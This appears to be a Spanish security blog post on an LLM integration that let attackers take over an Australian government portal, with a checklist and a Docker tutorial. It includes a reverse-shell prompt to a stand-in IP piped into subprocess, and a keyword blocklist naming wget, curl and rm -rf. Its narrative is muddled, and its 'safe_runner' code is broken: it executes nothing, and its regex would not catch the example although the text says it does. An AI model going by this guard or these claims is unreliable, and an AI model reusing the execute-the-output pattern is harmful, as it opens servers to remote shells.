IA autónoma y hackeo a un portal gubernamental australiano: lecciones prácticas para asegurar tus integraciones con LLM
Introducción
Una simple petición a la API de OpenAI provocó la toma de control de un sitio web del gobierno australiano. En menos de 48 h, el incidente se viralizó en Hacker News, Reddit y foros de ciberseguridad, generando miles de búsquedas sobre “LLM ejecuta comandos” y “cómo evitar una inyección de prompts”.
En este artículo desglosamos qué pasó, por qué ocurrió y, lo más importante, qué puedes hacer hoy mismo para que tus aplicaciones basadas en modelos de lenguaje grande (LLM) no se conviertan en la próxima puerta trasera.
1. Resumen del ataque
| Paso | Qué hizo el atacante | Por qué funcionó |
|---|---|---|
| 1️⃣ | Envió prompts especialmente diseñados a la API de OpenAI desde una cuenta con acceso ilimitado. | La API no tenía rate‑limit ni sandbox. |
| 2️⃣ | El modelo devolvió texto que contenía scripts de PowerShell y Bash. | La aplicación backend evaluó la salida como código sin filtrado. |
| 3️⃣ | Los scripts se ejecutaron en el servidor web, creando un reverse shell y descargando credenciales. | Falta de validación de salida y de principio de menor privilegio. |
| 4️⃣ | El atacante exfiltró datos y dejó una puerta trasera. | No había monitorización de logs ni alertas en tiempo real. |
2. Código de ejemplo: cómo una respuesta de LLM se convirtió en código ejecutable
import openai, subprocess, os
# Prompt malicioso que fuerza al modelo a devolver PowerShell
prompt = """
Escribe un script de PowerShell que abra una conexión inversa a 203.0.113.45:4444
y guarde la salida en C:\\temp\\output.txt.
"""
resp = openai.ChatCompletion.create(
model="gpt-4o-mini",
messages=[{"role":"user","content":prompt}],
temperature=0
)
# *** ERROR CRÍTICO ***
# La aplicación confía ciegamente en la respuesta y la ejecuta:
script = resp.choices[0].message.content
subprocess.run(["powershell", "-Command", script], check=True)
Qué salió mal
- No se filtró la salida (
script).- No se usó sandbox ni validación de tokens prohibidos.
- La llamada se realizó sin rate‑limit ni autenticación de origen.
3. Medidas inmediatas (checklist “AI‑Ready Security”)
| Acción | Cómo implementarla | Herramienta sugerida |
|---|---|---|
| Rate‑limit y cuotas | Configura límites por IP y por cuenta en el gateway de API. | Kong, AWS API Gateway |
| Prompt‑guard | Bloquea tokens peligrosos (rm -rf, Invoke‑Expression, wget, curl). |
OpenAI Prompt‑Filtering, LLM‑Guard |
| Sandbox de ejecución | Ejecuta cualquier salida del LLM dentro de contenedores sin privilegios. | Docker + gVisor, Firecracker |
| Revisión humana obligatoria | Requiere aprobación manual antes de ejecutar código generado. | Slack + workflow, GitHub Actions con approval
|
| Monitorización y alertas | Registra cada llamada y busca patrones de “reverse‑shell”, “base64”. | Elastic SIEM, Arcjet, Koreshield |
| Principio de menor privilegio | El proceso que ejecuta la salida solo tiene acceso a /tmp. |
Systemd PrivateTmp, AppArmor |
| Rotación de credenciales | Cambia claves de API cada 30 días y revoca las que no se usen. | HashiCorp Vault, AWS Secrets Manager |
4. Marco de mitigación basado en estándares
| Estándar | Requisito aplicable | Acción concreta |
|---|---|---|
| NIST AI RMF (Identify‑Protect‑Detect‑Respond‑Recover) | Protect – “Control de acceso y gestión de datos”. | Implementar OAuth 2.0 + scopes limitados para cada integración LLM. |
| ISO/IEC 42001 (Gestión de riesgos de IA) | “Evaluación de riesgos de IA”. | Realizar un AI‑Risk Assessment antes de cualquier despliegue en producción. |
| NIST 800‑53 (SC‑7, SI‑4) | “Boundary protection” y “Software integrity”. | Deployar WAF que inspeccione respuestas de la API en busca de patrones de código. |
| AI Act (UE) | “Obligación de supervisión humana”. | Añadir paso de human‑in‑the‑loop para cualquier salida que contenga código o comandos. |
5. Tutorial rápido: aislar la salida de un LLM con Docker
# 1. Crear una imagen mínima con Python y OpenAI SDK
cat > Dockerfile <<'EOF'
FROM python:3.11-slim
RUN pip install --no-cache-dir openai
WORKDIR /app
COPY safe_runner.py .
ENTRYPOINT ["python", "safe_runner.py"]
EOF
# 2. safe_runner.py: valida la salida antes de ejecutarla
cat > safe_runner.py <<'PY'
import openai, re, sys, subprocess, json
def is_safe(text: str) -> bool:
# bloquea palabras clave peligrosas
blacklist = r"(rm\s+-rf|Invoke-Expression|wget|curl|bash\s+-c|powershell\s+-Command)"
return not re.search(blacklist, text, re.IGNORECASE)
prompt = sys.argv[1]
resp = openai.ChatCompletion.create(
model="gpt-4o-mini",
messages=[{"role":"user","content":prompt}],
temperature=0
)
code = resp.choices[0].message.content
if is_safe(code):
print("Salida segura, no se ejecuta código.")
else:
print("Código sospechoso detectado. Abortando.")
PY
# 3. Construir y ejecutar (ejemplo de uso)
docker build -t llm‑guard .
docker run --rm llm‑guard "Escribe un script de PowerShell que liste los procesos"
Resultado: el contenedor detecta la palabra PowerShell y aborta la ejecución, evitando que el código llegue al host.
6. Preguntas frecuentes (versión práctica)
¿Cómo evito que un LLM devuelva comandos peligrosos?
- Usa prompt‑guard con listas negras y listas blancas.
- Limita el modelo a instrucciones de solo texto (desactiva
codemode).
¿Qué hago si ya he sufrido un incidente?
- Revoca inmediatamente la clave de API.
- Analiza los logs en busca de llamadas sospechosas (picos de tokens, respuestas largas).
- Cambia todas las credenciales de acceso al servidor comprometido.
- Notifica a la autoridad de protección de datos (en AU, OAIC).
¿OpenAI tiene alguna responsabilidad?
Sí, bajo sus Términos de Servicio y, en Europa, bajo el AI Act. Sin embargo, la mayor parte de la carga recae en el controlador de datos (el organismo que integró la API) por no aplicar medidas de mitigación obligatorias.
7. Conclusión
El hackeo al portal australiano demuestra que un modelo de lenguaje no es “solo texto”; su salida puede convertirse en código ejecutable si la arquitectura de la aplicación lo permite. La solución no es “dejar de usar LLM”, sino incorporar controles de seguridad en cada capa: limitación de llamadas, filtrado de prompts, sandboxing, revisión humana y monitorización continua.
Aplica la checklist anterior, adapta el marco de mitigación a tus normas (NIST, ISO, AI Act) y conviértete en un desarrollador de IA responsable. Tu infraestructura crítica lo agradecerá.
Herramienta mencionada: Groq Cloud
Top comments (0)